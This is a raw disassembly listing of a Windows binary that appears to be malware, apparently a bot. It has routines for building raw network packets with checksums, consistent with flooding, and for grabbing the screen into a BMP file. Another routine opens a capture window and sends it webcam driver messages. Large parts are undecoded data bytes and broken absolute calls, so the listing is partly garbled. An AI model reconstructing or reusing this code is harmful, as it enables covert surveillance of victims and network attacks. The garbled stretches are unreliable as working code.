movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022ABBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0B0E89000h, 2B0225C8h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2AB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0C3B5E8FCh, 2B900225h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022AB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi call near ptr 71AB155Ah nop push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 8E890FFh, 2B0225BDh, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 224B403h dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2760190h mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2AAC47E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26F0930h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26E0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 26E0000h nop loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 26E0000h nop push [ebp+arg_0] nop call near ptr 2640897h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE 